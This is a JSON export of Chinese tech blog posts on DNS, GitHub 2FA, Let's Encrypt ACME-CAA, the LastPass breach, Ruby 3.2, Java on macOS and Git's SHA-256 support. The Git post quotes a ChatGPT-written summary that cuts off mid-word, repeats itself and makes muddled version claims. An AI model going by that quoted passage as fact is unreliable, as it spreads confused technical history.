    "body": "在「<a href=\"https://blog.cloudflare.com/the-as112-project/\">Cloudflare is joining the AS112 project to help the Internet deal with misdirected DNS queries</a>」這邊看到的東西：「<a href=\"https://www.as112.net/\">AS112 Project</a>」，在維基百科上面也有條目：「<a href=\"https://en.wikipedia.org/wiki/Blackhole_server\">Blackhole server</a>」。\r\n\r\n<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈 2022/12/15 參與 AS112 Project：\r\n\r\n<blockquote>We are going to announce the AS112 prefixes starting December 15, 2022.</blockquote>\r\n\r\n針對 private network 的反解 (像是 <code>192.168.x.x</code> 這些網段)，目前的 NS RR 會丟到 <a href=\"https://en.wikipedia.org/wiki/Internet_Assigned_Numbers_Authority\">IANA</a> 的 blackhole server 上：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\n10.in-addr.arpa.        86400   IN      NS      blackhole-1.iana.org.\r\n10.in-addr.arpa.        86400   IN      NS      blackhole-2.iana.org.</pre>\r\n\r\n這兩的 domain name 分別是 192.175.48.6 與 192.175.48.42。\r\n\r\n而 IANA 的 blackhole server 的負荷愈來愈重，所以就有了透過 anycast 打散負荷的想法，也因為在發 anycast 時的 <a href=\"https://en.wikipedia.org/wiki/Autonomous_system_(Internet)\">ASN</a> 是 112，後來也就變成了 AS112 計畫，在 RFC 7534 裡面解釋了要怎麼做：「<a href=\"https://www.rfc-editor.org/rfc/rfc7534\">AS112 Nameserver Operations</a>」。\r\n\r\n另外在 AS112 Project 的網站上也有提到 anycast 的範圍：\r\n\r\n<blockquote>The address blocks are 192.175.48.0/24 and 2620:4f:8000::/48 and its origin AS is 112.</blockquote>\r\n\r\n昨天 <a href=\"https://www.hinet.net/\">HiNet</a> 線路連到 AS112 的 192.175.48.x 網段會丟到日本的 <a href=\"https://www.wide.ad.jp/\">WIDE</a>，剛剛看發現已經是 Cloudflare 在台灣的點了：\r\n\r\n<pre>;; ANSWER SECTION:\r\nhostname.as112.arpa.    604800  IN      TXT     \"Cloudflare DNS, TPE\"\r\nhostname.as112.arpa.    604800  IN      TXT     \"See http://www.as112.net/ for more information.\"</pre>\r\n\r\n但如果是用 <a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a> 查詢的話則是會到 <a href=\"https://stuix.io/\">STUIX</a>，先前也有在其他地方看到這個有趣的組織：\r\n\r\n<pre>;; ANSWER SECTION:\r\nhostname.as112.arpa.    300     IN      TXT     \"Taiwan Digital Streaming Co. with STUIX\"\r\nhostname.as112.arpa.    300     IN      TXT     \"Taipei, TW\"\r\nhostname.as112.arpa.    300     IN      TXT     \"Unicast IP: 103.147.22.82\"\r\nhostname.as112.arpa.    300     IN      TXT     \"See http://as112.net/ for more information.\"</pre>\r\n\r\n回過頭來看這次 Cloudflare 的加入，他們手上的機房與點都很多，這次跳進去看起來會分擔掉不少其他節點的 loading。\r\n\r\n但另外隱憂 privacy 的考量，他們手上等於是可以看到一堆 invalid DNS query log...",
    "title": "AS112 計畫"
  },
  {
    "id": "10993",
    "body": "<a href=\"https://github.com/\">GitHub</a> 決定擴大強制使用 <a href=\"https://en.wikipedia.org/wiki/2FA\">2FA</a> 的範圍：「<a href=\"https://github.blog/2022-12-14-raising-the-bar-for-software-security-next-steps-for-github-com-2fa/\">Raising the bar for software security: next steps for GitHub.com 2FA</a>」。\r\n\r\n本來的 2FA policy 是在「<a href=\"https://github.blog/2022-05-04-software-security-starts-with-the-developer-securing-developer-accounts-with-2fa/#get-started-today\">Software security starts with the developer: Securing developer accounts with 2FA</a>」這邊提到的，所有的使用者預定在 2023 年年底強制使用 2FA：\r\n\r\n<blockquote>GitHub will require all users who contribute code on GitHub.com to enable one or more forms of two-factor authentication (2FA) by the end of 2023.</blockquote>\r\n\r\n另外針對 <a href=\"https://www.npmjs.com/\">npm</a> 熱門套件的維護者，則是在三月 (top 100) 與五月 (top 500) 就強制要使用了：\r\n\r\n<blockquote>In February we enrolled all maintainers of the top-100 packages on the npm registry in mandatory 2FA, and in March we enrolled all npm accounts in enhanced login verification. On May 31, we will be enrolling all maintainers of the top-500 packages in mandatory 2FA.</blockquote>\r\n\r\n但到 2023 年年底才有動作會有點久，所以這次宣佈在 2023 年三月會插入一個新階段，強制這些人要有 2FA 才能進行變更類的操作：\r\n\r\n<ul>\r\n\t<li>Users who published GitHub or OAuth apps or packages</li>\r\n\t<li>Users who created a release</li>\r\n\t<li>Users who are Enterprise and Organization administrators</li>\r\n\t<li>Users who contributed code to repositories deemed critical by npm, OpenSSF, PyPI, or RubyGems</li>\r\n\t<li>Users who contributed code to the approximate top four million public and private repositories</li>\r\n</ul>\r\n\r\n以 developer 為主的 GitHub 大力在推 2FA，其他的服務不知道之後會不會有類似動作...",
    "title": "GitHub 的 2FA 新計畫"
  },
  {
    "id": "10994",
    "body": "很紅的 <a href=\"https://en.wikipedia.org/wiki/Stable_Diffusion\">Stable Diffusion</a> 是寫一串文字 (prompt) 然後產生圖片，而 <a href=\"https://www.riffusion.com/about\">Riffusion</a> 則是寫一串文字產生音樂。\r\n\r\n其中 prompt 轉成音樂其實還在可以預期的範圍 (i.e. 遲早會出現)，但專案的頁面上解釋了 Riffusion 是基於 Stable Fusion 的作品，而且是利用 Stable Fusion 產生出時頻譜 (<a href=\"https://en.wikipedia.org/wiki/Spectrogram\">spectrogram</a>)：\r\n\r\n<blockquote>Well, we fine-tuned the model to generate images of spectrograms, like this:</blockquote>\r\n\r\n也就是像這樣的圖：\r\n\r\n<img src=\"https://i.gslin.com/imgur/mNoCX3S.gif\" alt=\"\" />\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上討論時的討論頁可以看看，作者有參與一些討論：「<a href=\"https://news.ycombinator.com/item?id=33999162\">Riffusion – Stable Diffusion fine-tuned to generate music (riffusion.com)</a>」。\r\n\r\n其中有人提到這個作法超出想像，因為輸出的圖片只要幾個 pixel 差一點點就會產生出很不同的聲音：\r\n\r\n<blockquote>This really is unreasonably effective. Spectrograms are a lot less forgiving of minor errors than a painting. Move a brush stroke up or down a few pixels, you probably won't notice. Move a spectral element up or down a bit and you have a completely different sound. I don't understand how this can possibly be precise enough to generate anything close to a cohesive output.\r\n\r\nAbsolutely blows my mind.</blockquote>\r\n\r\n然後其中一位作者回覆到，他也是做下去後才很意外發現居然可行：\r\n\r\n<blockquote>Author here: We were blown away too. This project started with a question in our minds about whether it was even possible for the stable diffusion model architecture to output something with the level of fidelity needed for the resulting audio to sound reasonable.</blockquote>\r\n\r\n實際上聽了產生出來的音樂，是真的還 OK 的音樂... 大家都完全沒想到可以這樣搞，然後在 Hacker News 上的 upvote 數量爆炸高 XD",
    "title": "直接用 prompt 產生音樂的 Riffusion"
  },
  {
    "id": "10997",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://legacyupdate.net/\">Legacy Update</a>」這個網站：\r\n\r\n<blockquote>Legacy Update: Fix Windows Update on Windows XP, Vista, Server 2008, 2003, and 2000</blockquote>\r\n\r\n對於已經沒辦法跑 <a href=\"https://en.wikipedia.org/wiki/Windows_Update\">Windows Update</a> 的作業系統，至少有個工具可以把現有手上的 patch 都裝進去？\r\n\r\n不過網站本身最低只支援 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.0，所以對於新安裝的 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_6\">IE6</a> 得手動開 TLS 1.0 後才能連上 (預設是關閉的)，但看起來至少是個比較方便的工具了。\r\n\r\n如果是跑在虛擬機裡面的話可以先用 host OS 下載下來再透過其他方式丟進去，不過我試著下載檔案，點了半天一直被重導到首頁... <a href=\"https://github.com/\">GitHub</a> 上面看起來是有檔案，但 GitHub 對於老 OS 來說是無法連線的對象...\r\n\r\n另外看了一下 <a href=\"https://en.wikipedia.org/wiki/WHOIS\">WHOIS</a> 資料，是今年七月才成立的網站，不是那種已經出來好幾年的網站，上面的東西的可信度可以自己斟酌...",
    "title": "讓 Windows 2000/XP/Vista 與 Server 2003/2008 能夠更新的軟體"
  },
  {
    "id": "10998",
    "body": "目前 WordPress 只有支援 <a href=\"https://dev.mysql.com/\">MySQL</a>，而昨天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 WordPress 有打算要支援 <a href=\"https://sqlite.org/\">SQLite</a> 作為後端資料庫的消息：「<a href=\"https://news.ycombinator.com/item?id=34020786\">WordPress testing official SQLite Support (github.com/wordpress)</a>」，原文在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/WordPress/performance/pull/547\">Implement new experimental SQLite integration module</a>」。\r\n\r\n理論上對使用者會更方便，但對 extension 開發者會麻煩一些 (或是直接標不支援？)，尤其是用到 MySQL 特有的語法就要注意了。\r\n\r\n實質上 PHP + MySQL hosting 其實蠻常見的，這個作法有多少幫助就不知道了。\r\n\r\n但突然想到，如果做一個 read-only 版本的 WordPress 站台，然後把 SQLite 的讀取部份改用 <a href=\"https://github.com/sql-js/sql.js\">sql.js</a> 之類的計畫，再把一堆 server side rendering 的部份變成 client side rendering，好像有機會可以整包直接上 <a href=\"https://pages.github.com/\">GitHub Pages</a> 之類的服務？雖然這樣有點拖褲子放屁...",
    "title": "WordPress 打算要支援 SQLite 作為後端資料庫"
  },
  {
    "id": "10999",
    "body": "這幾天另外一個比較大的人事變化，<a href=\"https://en.wikipedia.org/wiki/John_Carmack\">John Carmack</a> 決定離開 <a href=\"https://meta.com/\">Meta</a> (<a href=\"https://en.wikipedia.org/wiki/Facebook\">Facebook</a>)：「<a href=\"https://www.facebook.com/100006735798590/posts/i-resigned-from-my-position-as-an-executive-consultant-for-vr-with-meta-my-inter/3467566940144465/\">I resigned from my position as an executive consultant for VR with Meta.</a>」，裡面直接提到的是效率問題，但應該是搞不定政治問題。\r\n\r\n接下來他會跑去搞自己在八月弄的新創 Keen Technologies，主打 <a href=\"https://en.wikipedia.org/wiki/Artificial_general_intelligence\">AGI</a> 主題，八月當時的新聞在這：「<a href=\"https://techcrunch.com/2022/08/19/john-carmack-agi-keen-raises-20-million-from-sequoia-nat-friedman-and-others/\">John Carmack’s AGI startup raises $20M from Sequoia, Nat Friedman, Patrick Collison and others</a>」。\r\n\r\n不過有個好奇的點，是這篇的 url 是不帶 encrypted tracking parameters 的，這是怎麼拿到的...",
    "title": "John Carmack 離開 Meta (Facebook)"
  },
  {
    "id": "11000",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 支援 <a href=\"https://www.rfc-editor.org/rfc/rfc8657\">ACME-CAA</a> 的新聞：「<a href=\"https://news.ycombinator.com/item?id=34035148\">Let's Encrypt now supports ACME-CAA: closing the DV loophole (devever.net)</a>」，原文在「<a href=\"https://www.devever.net/~hl/acme-caa-live\">Let's Encrypt now supports ACME-CAA: closing the DV loophole</a>」。\r\n\r\n先前的「<a href=\"https://www.rfc-editor.org/rfc/rfc6844\">RFC 6844 - DNS Certification Authority Authorization (CAA) Resource Record</a>」已經先定義了 DNS 上 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">CAA</a> record 的規範，另外在 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 的 <a href=\"https://cabforum.org/baseline-requirements/\">Baseline Requirements</a> 裡面也要求了 CA 簽發單位必須遵守 CAA 設定。\r\n\r\n但這邊還是有一些風險，像是當網站被其他人控制後 (或是中間有 <a href=\"https://en.wikipedia.org/wiki/BGP_hijacking\">BGP hijacking</a> 的方式取得 TCP 層的控制權)，控制人就可以透過 <code>http-01</code> 的方式通過認證申請到 SSL certificate。而這次 Let's Encrypt 實做的 ACME-CAA 則是試著降低這個風險。\r\n\r\n第一個是 <code>accounturi</code> 參數，可以指定只有某個 CA 裡的某個帳號可以申請，像是這樣：\r\n\r\n<pre>example.com. IN CAA 0 issue \"letsencrypt.org; accounturi=https://some/lets-encrypt/account-id\"</pre>\r\n\r\n第二個是限制 <code>validationmethods</code> 參數，限制只有某些方式可以申請，像是這邊限制只能透過 dns-01 申請：\r\n\r\n<pre>example.com. IN CAA 0 issue \"letsencrypt.org; validationmethods=dns-01\"</pre>\r\n\r\n不過支援 <code>http-01</code> 的不只 Let's Encrypt，至少也還有 <a href=\"https://zerossl.com/\">ZeroSSL</a> 與 <a href=\"https://www.buypass.com/\">Buypass</a>，後續可以看看其他家會不會跟上，以及會不會放到 Baseline Requirements 裡面...",
    "title": "Let's Encrypt 支援 ACME-CAA，可以再進一步限縮可以申請的使用人"
  },
  {
    "id": "11002",
    "body": "看到 <a href=\"https://en.wikipedia.org/wiki/Paul_Graham_(programmer)\">Paul Graham</a> 這個宣告：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This is the last straw. I give up. You can find a link to my new Mastodon profile on my site.<a href=\"https://t.co/bbmZ4yvAJH\">https://t.co/bbmZ4yvAJH</a></p>&mdash; Paul Graham (@paulg) <a href=\"https://twitter.com/paulg/status/1604556563338887168?ref_src=twsrc%5Etfw\">December 18, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面提到的新政策在「<a href=\"https://help.twitter.com/en/rules-and-policies/social-platforms-policy\">Promotion of alternative social platforms policy</a>」這邊，直接禁止其他社交平台：\r\n\r\n<blockquote>At both the Tweet level and the account level, we will remove any free promotion of prohibited 3rd-party social media platforms, such as linking out (i.e. using URLs) to any of the below platforms on Twitter, or providing your handle without a URL:\r\n\r\n<ul>\r\n\t<li>Prohibited platforms:<ul>\r\n\t\t<li>Facebook, Instagram, Mastodon, Truth Social, Tribel, Post and Nostr</li>\r\n\t\t<li>3rd-party social media link aggregators such as linktr.ee, lnk.bio</li>\r\n</li>\r\n</ul>\r\n</ul>\r\n</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論上面，Paul Graham 有回應 (帳號是 <a href=\"https://news.ycombinator.com/user?id=pg\">pg</a>)，他又提出了一些猜測與見解，包含了他覺得這個新政策會被收回：「<a href=\"https://news.ycombinator.com/item?id=34041985\">Paul Graham is leaving Twitter for now (twitter.com/paulg)</a>」。\r\n\r\n<blockquote>I'm not leaving Twitter. It seems more likely than not that Elon will reverse the ban on links to other social media sites. I just don't want to hang out there in the meantime. Plus given the way things are going, it seemed like a good time to learn about alternatives.\r\n\r\nI still think Elon is a smart guy. His work on cars and rockets speaks for itself. Nor do I think he's the villain a lot of people try to make him out to be. He's eccentric, definitely, but that should be news to no one. Plus I don't think he realizes that the techniques that work for cars and rockets don't work in social media. Those two facts are sufficient to explain most of his behavior.\r\n\r\nHe could still salvage the situation. He's the sort of person it would be a big mistake to write off. And I hope he does. I would be delighted to go back to using Twitter regularly.</blockquote>\r\n\r\n不過的確如他說的，這是個好機會嘗試其他的 social network...",
    "title": "Twitter 新政策禁止推廣其他社交平台的連結"
  },
  {
    "id": "11004",
    "body": "在「<a href=\"https://techcrunch.com/2022/12/22/fbi-ad-blocker/\">Even the FBI says you should use an ad blocker</a>」這邊看到的新聞，<a href=\"https://www.fbi.gov/\">FBI</a> 的公告則是在「<a href=\"https://www.ic3.gov/Media/Y2022/PSA221221\">Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users</a>」這邊可以看到。\r\n\r\n起因是有很多網路犯罪行為會透過購買廣告，在搜尋引擎上曝光誘導使用者點擊：\r\n\r\n<blockquote>Cyber criminals purchase advertisements that appear within internet search results using a domain that is similar to an actual business or service. When a user searches for that business or service, these advertisements appear at the very top of search results with minimum distinction between an advertisement and an actual search result. These advertisements link to a webpage that looks identical to the impersonated business’s official webpage.</blockquote>\r\n\r\n其中一種方式是，使用者輸入關鍵字想要下載某些特定的軟體，這時候網路犯罪者就會透過下廣告的方式，誘導使用者到假的網站下載有後門木馬的軟體：\r\n\r\n<blockquote>In instances where a user is searching for a program to download, the fraudulent webpage has a link to download software that is actually malware. The download page looks legitimate and the download itself is named after the program the user intended to download.</blockquote>\r\n\r\n這個方式讓我想到之前北韓政府對 <a href=\"https://en.wikipedia.org/wiki/PuTTY\">PuTTY</a> 的攻擊：「<a href=\"https://arstechnica.com/information-technology/2022/09/trojanized-versions-of-putty-utility-being-used-to-spread-backdoor/\">Trojanized versions of PuTTY utility being used to spread backdoor</a>」。\r\n\r\n而 FBI 建議個人的保護方式包括了 ad blocking extension，這算是減少被攻擊的管道：\r\n\r\n<blockquote>Use an ad blocking extension when performing internet searches. Most internet browsers allow a user to add extensions, including extensions that block advertisements. These ad blockers can be turned on and off within a browser to permit advertisements on certain websites while blocking advertisements on others.</blockquote>\r\n\r\n然後建議擋廣告軟體就是用 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>，無論是 <a href=\"https://www.chromium.org/\">Chromium</a> 系列的瀏覽器 (包括 <a href=\"https://en.wikipedia.org/wiki/Google_Chrome\">Google Chrome</a>)，或是 <a href=\"https://en.wikipedia.org/wiki/Firefox\">Firefox</a> 都有支援。",
    "title": "FBI 建議用擋廣告軟體降低瀏覽時的風險"
  },
  {
    "id": "11005",
    "body": "前幾天 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://f-droid.org/\">F-Droid</a> 寫了一篇文章介紹可以讓使用者自己選擇 Push notification service 的 <a href=\"https://unifiedpush.org/\">UnifiedPush</a>：「<a href=\"https://news.ycombinator.com/item?id=34094497\">UnifiedPush: A decentralized, open-source push notification protocol (f-droid.org)</a>」。\r\n\r\n一般在 <a href=\"https://www.android.com/\">Android</a> 平台上是透過 <a href=\"https://www.google.com/\">Google</a> 自家提供的 <a href=\"https://en.wikipedia.org/wiki/Firebase_Cloud_Messaging\">FCM</a> 傳遞 push notification 訊息：\r\n\r\n<blockquote>A modern Android smartphone relies on a lot of services, from app stores and calendars to messaging and push notifications. Most of them have open alternatives, but until now, the only option for push notifications was Google’s proprietary service, Firebase Cloud Messaging (FCM).</blockquote>\r\n\r\n但這樣很明顯會遇到隱私問題 (i.e. Google 可以知道所有的 push notification)，所以一直都有要怎麼解決的討論。\r\n\r\n而看起來 UnifiedPush 給了一個方案：使用者在 Android 手機上安裝一隻程式 (<a href=\"https://ntfy.sh/\">ntfy</a>)，這隻程式可以連到使用者指定的伺服器接收 push notification (可以是自架或是用現有的服務)，另外一方面，當然也會跟 app 說要把 push notification 送到哪邊。\r\n\r\n另外也考慮到使用者如果極度在意電池的問題，還是可以 fallback 回去使用 Google 的 FCM，也就是不影響現有使用者的體驗。\r\n\r\n這樣就可以做到還是單一連線 (降低電力使用)，但是是分散式的架構，而且使用者有一定的控制權。\r\n\r\n目前支援的 app 看起來不多，但可以以預期後續 F-Droid 上面的 app 應該會有不少 app 會支援：「<a href=\"https://unifiedpush.org/users/apps/\">Apps using UnifiedPush</a>」。",
    "title": "讓使用者可以自己選擇 Push notification service 的 UnifiedPush"
  },
  {
    "id": "11006",
    "body": "這次 <a href=\"https://www.lastpass.com/\">LastPass</a> 出包搞的蠻大的，在官方的「<a href=\"https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/\">Notice of Recent Security Incident</a>」的裡面有提到這次的資料外洩包括了使用的 encrypted vault data 也被洩漏了：\r\n\r\n<blockquote>The threat actor was also able to copy a backup of customer vault data from the encrypted storage container which is stored in a proprietary binary format that contains both unencrypted data, such as website URLs, as well as fully-encrypted sensitive fields such as website usernames and passwords, secure notes, and form-filled data.</blockquote>\r\n\r\n官方一直強調這是 encrypted data，但離職員工爆料加密強度不足的問題：「<a href=\"https://threadreaderapp.com/thread/1606428769731878913.html\">1606428769731878913.html</a>」，其中這段在講 legacy 版本的加密問題，居然曾經用過 <a href=\"https://en.wikipedia.org/wiki/Electronic_codebook\">ECB mode</a>：\r\n\r\n<blockquote>Lots of vault entries may be encrypted with ECB mode AES-256. I worked on supporting unauthenticated CBC mode. But re-encrypting a users vault entries requires having their master key.</blockquote>\r\n\r\n這個如同 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=34125790\">I worked at LastPass as an engineer (twitter.com/ejcx_)</a>」提到的，以 1980 年代的標準就已經知道 ECB mode 的問題了：\r\n\r\n<blockquote>&gt; Lots of vault entries may be encrypted with ECB mode AES-256.\r\nWtf wtf wtf. This would be considered wildly insecure even by the standards of the 80s</blockquote>\r\n\r\n其他提到 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 的強度是逐步增加，從早期的 5000 到現在預設的 100100，這點倒是可以理解。\r\n\r\n要避免依賴廠商的資安，一種方式是用目前成熟的開源 Password Manager，並且使用檔案儲存 (像是 <a href=\"https://keepassxc.org/\">KeePassXC</a> 這類工具)，再搭配 file sync 的工具跨機器使用 (像是 <a href=\"https://syncthing.net/\">Syncthing</a> 這樣獨立確認每個 device 身份的方式)，但方便性不會像這些商用方案這麼好用就是了...\r\n\r\n這次故事好像還沒結束，遇到西方的長假，反應都比較慢...",
    "title": "LastPass 離職員工的爆料"
  },
  {
    "id": "11007",
    "body": "去年有寫過 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 的 <a href=\"https://speed.yjit.org/\">YJIT</a> 帶來的效能提昇：「<a href=\"https://blog.gslin.org/archives/2021/10/24/10385/yjit-%E5%B8%B6%E7%B5%A6-ruby-%E5%A4%A7%E9%87%8F%E7%9A%84%E6%95%88%E8%83%BD%E6%8F%90%E6%98%87/\">YJIT 帶給 Ruby 大量的效能提昇</a>」。\r\n\r\n在這次的 Ruby 3.2.0 發布就把 YJIT 列為穩定功能了：「<a href=\"https://www.ruby-lang.org/en/news/2022/12/25/ruby-3-2-0-released/\">Ruby 3.2.0</a>」。\r\n\r\n<blockquote><ul>\r\n\t<li>YJIT is no longer experimental\r\n\t<ul>\r\n\t\t<li>Has been tested on production workloads for over a year and proven to be quite stable.</li>\r\n\t</ul>\r\n</li>\r\n</ul></blockquote>\r\n\r\n另外就是支援的平台，看起來是多了 arm64 這邊的支援，所以馬上列表就多了一堆新機器：\r\n\r\n<blockquote><ul>\r\n\t<li>YJIT now supports both x86-64 and arm64/aarch64 CPUs on Linux, MacOS, BSD and other UNIX platforms.\r\n\t<ul>\r\n\t\t<li>This release brings support for Apple M1/M2, AWS Graviton, Raspberry Pi 4 and more.</li>\r\n\t</ul>\r\n</li>\r\n</ul></blockquote>\r\n\r\n另外是每個程式語言幾乎都會遇到的 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">regexp</a> 類的問題，這次 Ruby 3.2.0 利用 <a href=\"https://en.wikipedia.org/wiki/Memoization\">Memoization</a> 的方式降低某些 regexp 的消耗：\r\n\r\n<pre># This match takes 10 sec. in Ruby 3.1, and 0.003 sec. in Ruby 3.2\r\n/^a*b?a*$/ =~ \"a\" * 50000 + \"x\"</pre>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HrT5tiI.webp\" /><img src=\"https://i.gslin.com/imgur/HrT5tiI.png\" alt=\"\" /></picture>\r\n\r\n而另外一組 regexp 也可以看出類似的效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DzoGL5J.webp\" /><img src=\"https://i.gslin.com/imgur/DzoGL5J.png\" alt=\"\" /></picture>\r\n\r\n用一些記憶體空間換取效能，降低被 DoS 的一些機會。另外一方面，引入了 regexp timeout 的 workaround，緩解真的被打的時候的資源消耗上限：\r\n\r\n<blockquote>The optimization above cannot be applied to some kind of regular expressions, such as those including advanced features (e.g., back-references or look-around), or with a huge fixed number of repetitions. As a fallback measure, a timeout feature for Regexp matches is also introduced.</blockquote>",
    "title": "Ruby 3.2.0 把 YJIT 列為穩定功能了"
  },
  {
    "id": "11009",
    "body": "寫個自己看的，順便整理一些簡單的歷史。\r\n\r\n一開始可以先看一下 <code>java</code> 跑起來如何：\r\n\r\n<pre>$ java --version\r\nThe operation couldn't be completed. Unable to locate a Java Runtime.\r\nPlease visit http://www.java.com for information on installing Java.</pre>\r\n\r\n順便一提，這邊的 <code>java</code> 可以用 <code>which java</code> 看到是出自 <code>/usr/bin/java</code>。\r\n\r\n然後透過 <a href=\"https://brew.sh/\">Homebrew</a>，可以選擇不同的 JDK 套件安裝，在網路上常見的答案是 <a href=\"https://adoptium.net/temurin/\">temurin</a> (<a href=\"https://adoptopenjdk.net/\">adoptopenjdk</a> 的後繼者)：\r\n\r\n<pre>brew install temurin</pre>\r\n\r\n這個好處是裝完可以直接用：\r\n\r\n<pre>$ java --version\r\nopenjdk 19.0.1 2022-10-18\r\nOpenJDK Runtime Environment Temurin-19.0.1+10 (build 19.0.1+10)\r\nOpenJDK 64-Bit Server VM Temurin-19.0.1+10 (build 19.0.1+10, mixed mode)</pre>\r\n\r\n另外一種是 <a href=\"https://openjdk.org/\">OpenJDK</a>，裝完後還得補個 symbolic link：\r\n\r\n<pre>brew install openjdk\r\nsudo ln -sfn /opt/homebrew/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk</pre>\r\n\r\n可以看到這個版本的輸出不太一樣：\r\n\r\n<pre>$ java --version\r\nopenjdk 19.0.1 2022-10-18\r\nOpenJDK Runtime Environment Homebrew (build 19.0.1)\r\nOpenJDK 64-Bit Server VM Homebrew (build 19.0.1, mixed mode, sharing)</pre>\r\n\r\n然後不管哪種裝法都記得設定 <code>JAVA_HOME</code>：\r\n\r\n<pre>export JAVA_HOME=\"$(/usr/libexec/java_home)\"</pre>\r\n\r\n基本上就能動了。",
    "title": "Mac 上用 Homebrew 安裝 Java 的方式"
  },
  {
    "id": "11011",
    "body": "在 Hacker News 首頁上的「<a href=\"https://lwn.net/Articles/898522/\">Whatever happened to SHA-256 support in Git?</a>」這篇，大概半年前，今年六月的文章，在講 <a href=\"https://git-scm.com/\">Git</a> 在 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a> 支援上遇到的問題。\r\n\r\n最大的問題還是沒有 transition plan：\r\n\r\n<blockquote>Bjarmason pointed out that there is still no interoperability between SHA-1 and SHA-256 repositories, and that none of the Git hosting providers appear to be supporting SHA-256.</blockquote>\r\n\r\n這點導致了目前場上看的到的服務與 open source 軟體都沒有支援的計畫，這點算是一個超級失敗的 transition plan。\r\n\r\n另外乾脆請 <a href=\"https://en.wikipedia.org/wiki/OpenAI\">OpenAI</a> 的 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 幫忙寫：\r\n\r\n<blockquote>Git是一種源代碼管理系統，它使用散列函數將每個對象（例如文件的每個版本）和每個提交都轉換為一個數值，用於存儲該對象。散列函數的安全性是整個倉庫完整性的重要組成部分。如果攻擊者可以用具有相同散列值的另一個提交替換提交，他們可能會在不冒檢測風險的情況下將惡意代碼植入倉庫中。這種前景令任何依賴 Git 倉庫中代碼安全性的人感到擔心，也就是所有人。\r\n\r\nGit 項目早已選擇 SHA-256 作為 SHA-1 的替代品。Git 最初是使用 SHA-1 寫成的，但是這些代碼已被重構，並且可以處理多種散列類型，其中 SHA-256 是第二種支持的類型。現在可以使用 SHA-256 創建 Git 倉庫（只需使用 --object-format=sha256 標誌），大多數本地操作都會正常工作。Git 中支持替代散列算法的基礎是2020年發布的2.29版本的一部分，並且似乎很穩定。\r\n\r\n然而，自從2021年3月發布的2.31版本中出現了修復程序以來，2.29版本是最後一個在任何重大方面支持替代散列的版本。專\r\n\r\n續寫前文，Git 專案在支持 SHA-256 之前一直使用 SHA-1 作為散列算法。然而，由於 SHA-1 的終極破解，Git 項目被迫尋找替代方案。Git 原本的代碼是深深地嵌入 SHA-1 的，但是這些代碼已經被重構，並且可以處理多種散列類型，其中 SHA-256 是第二種支持的類型。因此，現在可以使用 SHA-256 創建 Git 倉庫（只需使用 --object-format=sha256 標誌），大多數本地操作都會正常工作。\r\n\r\n然而，目前尚不存在 SHA-1 和 SHA-256 倉庫之間的相互操作性，並且 Git 托管提供商似乎都不支持 SHA-256。這種支持（或缺乏支持）很重要，因為無法推送到 Git 熔爐的倉庫對許多人來說將是無用的。此外，使用 SHA-256 的較長散列可能會破壞 Git 項目以外開發的工具，這種風險也無法完全消除。整體而言，這是一種尚未準備好用於現實世界的功能。\r\n\r\n雖然如此，值得注意的是，迄今為止完成大部分散列轉換工作的 brian m. carlson 對 Bjarmason 的評估持不同看法。在他看來，目前唯一“可以辯解\r\n\r\n的”使用 SHA-1 的原因是與 Git 熔爐提供商的相互操作性。否則，他認為 SHA-1 已經過時，並且使用 SHA-256 的性能可能“大幅提升”。但是，他同意所需的相互操作性目前尚不存在，且沒有人表示它即將在短期內到來。\r\n\r\n因此，目前看來，Git 專案在支持 SHA-256 方面的工作似乎已經停止。至於什麼原因導致了這種情況，目前還不清楚。但是，這並不意味著 Git 將永遠不會支持 SHA-256 或其他散列算法。相反，可能是因為尚未解決所有技術問題，或者可能是因為其他原因（例如技術資源有限）。無論原因是什麼，重要的是要記住，Git 項目的開發人員一直在努力使其更強大、更安全，並且將繼續努力。</blockquote>",
    "title": "Git 在 SHA-256 支援上遇到的問題"
  },
  {
    "id": "11012",
